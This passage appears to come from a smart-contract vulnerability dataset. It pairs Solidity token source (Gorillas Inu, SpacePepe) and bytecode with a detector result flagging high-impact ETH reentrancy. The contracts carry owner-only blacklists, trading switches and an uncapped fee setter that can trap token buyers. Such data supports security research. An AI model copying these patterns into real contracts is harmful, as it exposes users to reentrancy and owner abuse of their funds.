approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f0461461055b578063dd62ed3e1461057b578063ea1644d5146105c1578063f2fde38b146105e157600080fd5b8063a2a957bb146104d6578063a9059cbb146104f6578063bfd7928414610516578063c3c8cd801461054657600080fd5b80638f70ccf7116100d15780638f70ccf71461044f5780638f9a55c01461046f57806395d89b411461048557806398a5c315146104b657600080fd5b80637d1db4a5146103ee5780637f2feddc146104045780638da5cb5b1461043157600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038457806370a0823114610399578063715018a6146103b957806374010ece146103ce57600080fd5b8063313ce5671461030857806349bd5a5e146103245780636b999053146103445780636d8aa8f81461036457600080fd5b80631694505e116101ab5780631694505e1461027557806318160ddd146102ad57806323b872dd146102d25780632fd689e3146102f257600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024557600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611959565b610601565b005b34801561020a57600080fd5b5060408051808201909152600c81526b476f72696c6c617320496e7560a01b60208201525b60405161023c9190611a1e565b60405180910390f35b34801561025157600080fd5b50610265610260366004611a73565b6106a0565b604051901515815260200161023c565b34801561028157600080fd5b50601454610295906001600160a01b031681565b6040516001600160a01b03909116815260200161023c565b3480156102b957600080fd5b50670de0b6b3a76400005b60405190815260200161023c565b3480156102de57600080fd5b506102656102ed366004611a9f565b6106b7565b3480156102fe57600080fd5b506102c460185481565b34801561031457600080fd5b506040516009815260200161023c565b34801561033057600080fd5b50601554610295906001600160a01b031681565b34801561035057600080fd5b506101fc61035f366004611ae0565b610720565b34801561037057600080fd5b506101fc61037f366004611b0d565b61076b565b34801561039057600080fd5b506101fc6107b3565b3480156103a557600080fd5b506102c46103b4366004611ae0565b6107fe565b3480156103c557600080fd5b506101fc610820565b3480156103da57600080fd5b506101fc6103e9366004611b28565b610894565b3480156103fa57600080fd5b506102c460165481565b34801561041057600080fd5b506102c461041f366004611ae0565b60116020526000908152604090205481565b34801561043d57600080fd5b506000546001600160a01b0316610295565b34801561045b57600080fd5b506101fc61046a366004611b0d565b6108c3565b34801561047b57600080fd5b506102c460175481565b34801561049157600080fd5b50604080518082019091526008815267476f72696c6c617360c01b602082015261022f565b3480156104c257600080fd5b506101fc6104d1366004611b28565b61090b565b3480156104e257600080fd5b506101fc6104f1366004611b41565b61093a565b34801561050257600080fd5b50610265610511366004611a73565b610978565b34801561052257600080fd5b50610265610531366004611ae0565b60106020526000908152604090205460ff1681565b34801561055257600080fd5b506101fc610985565b34801561056757600080fd5b506101fc610576366004611b73565b6109d9565b34801561058757600080fd5b506102c4610596366004611bf7565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105cd57600080fd5b506101fc6105dc366004611b28565b610a7a565b3480156105ed57600080fd5b506101fc6105fc366004611ae0565b610aa9565b6000546001600160a01b031633146106345760405162461bcd60e51b815260040161062b90611c30565b60405180910390fd5b60005b815181101561069c5760016010600084848151811061065857610658611c65565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061069481611c91565b915050610637565b5050565b60006106ad338484610b93565b5060015b92915050565b60006106c4848484610cb7565b610716843361071185604051806060016040528060288152602001611da9602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111f3565b610b93565b5060019392505050565b6000546001600160a01b0316331461074a5760405162461bcd60e51b815260040161062b90611c30565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107955760405162461bcd60e51b815260040161062b90611c30565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107e857506013546001600160a01b0316336001600160a01b0316145b6107f157600080fd5b476107fb8161122d565b50565b6001600160a01b0381166000908152600260205260408120546106b190611267565b6000546001600160a01b0316331461084a5760405162461bcd60e51b815260040161062b90611c30565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108be5760405162461bcd60e51b815260040161062b90611c30565b601655565b6000546001600160a01b031633146108ed5760405162461bcd60e51b815260040161062b90611c30565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109355760405162461bcd60e51b815260040161062b90611c30565b601855565b6000546001600160a01b031633146109645760405162461bcd60e51b815260040161062b90611c30565b600893909355600a91909155600955600b55565b60006106ad338484610cb7565b6012546001600160a01b0316336001600160a01b031614806109ba57506013546001600160a01b0316336001600160a01b0316145b6109c357600080fd5b60006109ce306107fe565b90506107fb816112eb565b6000546001600160a01b03163314610a035760405162461bcd60e51b815260040161062b90611c30565b60005b82811015610a74578160056000868685818110610a2557610a25611c65565b9050602002016020810190610a3a9190611ae0565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a6c81611c91565b915050610a06565b50505050565b6000546001600160a01b03163314610aa45760405162461bcd60e51b815260040161062b90611c30565b601755565b6000546001600160a01b03163314610ad35760405162461bcd60e51b815260040161062b90611c30565b6001600160a01b038116610b385760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161062b565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bf55760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161062b565b6001600160a01b038216610c565760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161062b565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d1b5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161062b565b6001600160a01b038216610d7d5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161062b565b60008111610ddf5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161062b565b6000546001600160a01b03848116911614801590610e0b57506000546001600160a01b03838116911614155b156110ec57601554600160a01b900460ff16610ea4576000546001600160a01b03848116911614610ea45760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400606482015260840161062b565b601654811115610ef65760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000604482015260640161062b565b6001600160a01b03831660009081526010602052604090205460ff16158015610f3857506001600160a01b03821660009081526010602052604090205460ff16155b610f905760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b606482015260840161062b565b6015546001600160a01b038381169116146110155760175481610fb2846107fe565b610fbc9190611caa565b106110155760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b606482015260840161062b565b6000611020306107fe565b6018546016549192508210159082106110395760165491505b8080156110505750601554600160a81b900460ff16155b801561106a57506015546001600160a01b03868116911614155b801561107f5750601554600160b01b900460ff165b80156110a457506001600160a01b03851660009081526005602052604090205460ff16155b80156110c957506001600160a01b03841660009081526005602052604090205460ff16155b156110e9576110d7826112eb565b4780156110e7576110e74761122d565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061112e57506001600160a01b03831660009081526005602052604090205460ff165b8061116057506015546001600160a01b0385811691161480159061116057506015546001600160a01b03848116911614155b1561116d575060006111e7565b6015546001600160a01b03858116911614801561119857506014546001600160a01b03848116911614155b156111aa57600854600c55600954600d555b6015546001600160a01b0384811691161480156111d557506014546001600160a01b03858116911614155b156111e757600a54600c55600b54600d555b610a7484848484611465565b600081848411156112175760405162461bcd60e51b815260040161062b9190611a1e565b5060006112248486611cc2565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561069c573d6000803e3d6000fd5b60006006548211156112ce5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161062b565b60006112d8611493565b90506112e483826114b6565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061133357611333611c65565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561138c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113b09190611cd9565b816001815181106113c3576113c3611c65565b6001600160a01b0392831660209182029290920101526014546113e99130911684610b93565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac94790611422908590600090869030904290600401611cf6565b600060405180830381600087803b15801561143c57600080fd5b505af1158015611450573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b80611472576114726114f8565b61147d848484611526565b80610a7457610a74600e54600c55600f54600d55565b60008060006114a061161d565b90925090506114af82826114b6565b9250505090565b60006112e483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061165d565b600c541580156115085750600d54155b1561150f57565b600c8054600e55600d8054600f5560009182905555565b6000806000806000806115388761168b565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061156a90876116e8565b6001600160a01b03808b1660009081526002602052604080822093909355908a1681522054611599908661172a565b6001600160a01b0389166000908152600260205260409020556115bb81611789565b6115c584836117d3565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161160a91815260200190565b60405180910390a3505050505050505050565b6006546000908190670de0b6b3a764000061163882826114b6565b82101561165457505060065492670de0b6b3a764000092509050565b90939092509050565b6000818361167e5760405162461bcd60e51b815260040161062b9190611a1e565b5060006112248486611d67565b60008060008060008060008060006116a88a600c54600d546117f7565b92509250925060006116b8611493565b905060008060006116cb8e87878761184c565b919e509c509a509598509396509194505050505091939550919395565b60006112e483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111f3565b6000806117378385611caa565b9050838110156112e45760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161062b565b6000611793611493565b905060006117a1838361189c565b306000908152600260205260409020549091506117be908261172a565b30600090815260026020526040902055505050565b6006546117e090836116e8565b6006556007546117f0908261172a565b6007555050565b6000808080611811606461180b898961189c565b906114b6565b90506000611824606461180b8a8961189c565b9050600061183c826118368b866116e8565b906116e8565b9992985090965090945050505050565b600080808061185b888661189c565b90506000611869888761189c565b90506000611877888861189c565b905060006118898261183686866116e8565b939b939a50919850919650505050505050565b6000826000036118ae575060006106b1565b60006118ba8385611d89565b9050826118c78583611d67565b146112e45760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161062b565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107fb57600080fd5b803561195481611934565b919050565b6000602080838503121561196c57600080fd5b823567ffffffffffffffff8082111561198457600080fd5b818501915085601f83011261199857600080fd5b8135818111156119aa576119aa61191e565b8060051b604051601f19603f830116810181811085821117156119cf576119cf61191e565b6040529182528482019250838101850191888311156119ed57600080fd5b938501935b82851015611a1257611a0385611949565b845293850193928501926119f2565b98975050505050505050565b600060208083528351808285015260005b81811015611a4b57858101830151858201604001528201611a2f565b81811115611a5d576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a8657600080fd5b8235611a9181611934565b946020939093013593505050565b600080600060608486031215611ab457600080fd5b8335611abf81611934565b92506020840135611acf81611934565b929592945050506040919091013590565b600060208284031215611af257600080fd5b81356112e481611934565b8035801515811461195457600080fd5b600060208284031215611b1f57600080fd5b6112e482611afd565b600060208284031215611b3a57600080fd5b5035919050565b60008060008060808587031215611b5757600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b8857600080fd5b833567ffffffffffffffff80821115611ba057600080fd5b818601915086601f830112611bb457600080fd5b813581811115611bc357600080fd5b8760208260051b8501011115611bd857600080fd5b602092830195509350611bee9186019050611afd565b90509250925092565b60008060408385031215611c0a57600080fd5b8235611c1581611934565b91506020830135611c2581611934565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600060018201611ca357611ca3611c7b565b5060010190565b60008219821115611cbd57611cbd611c7b565b500190565b600082821015611cd457611cd4611c7b565b500390565b600060208284031215611ceb57600080fd5b81516112e481611934565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d465784516001600160a01b031683529383019391830191600101611d21565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d8457634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611da357611da3611c7b565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122075b452f23974040efb83c91a866861d3c0f7487ca1bfd4387ef113b5415d505664736f6c634300080d0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
2,777
0x3cabfa65c14dbce92dc72ebeb4cff24fdcf941e6
/** *Submitted for verification at Etherscan.io on 2021-06-22 */ /* SpacePepe (SPAPE) Limit Buy Cooldown Bot Protect Deflationary Fee Liqudity provided by dev Liquidity lock Twitter: https://twitter.com/SpacePepeOrigin TG: https://t.me/SpacePepeOfficialChat Website: https://spacepepe.com/ Good luck on launch! */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract SpacePepe is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = "SpacePepe"; string private constant _symbol = 'SPAPE'; uint8 private constant _decimals = 9; uint256 private _taxFee = 5; uint256 private _teamFee = 10; uint256 private _previousTaxFee = _taxFee; uint256 private _previousteamFee = _teamFee; address payable private _FeeAddress; address payable private _marketingWalletAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable FeeAddress, address payable marketingWalletAddress) { _FeeAddress = FeeAddress; _marketingWalletAddress = marketingWalletAddress; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[FeeAddress] = true; _isExcludedFromFee[marketingWalletAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if(_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousteamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousteamFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) { require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only"); } } require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _FeeAddress.transfer(amount.div(2)); _marketingWalletAddress.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 2500000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function manualswap() external { require(_msgSender() == _FeeAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _FeeAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, 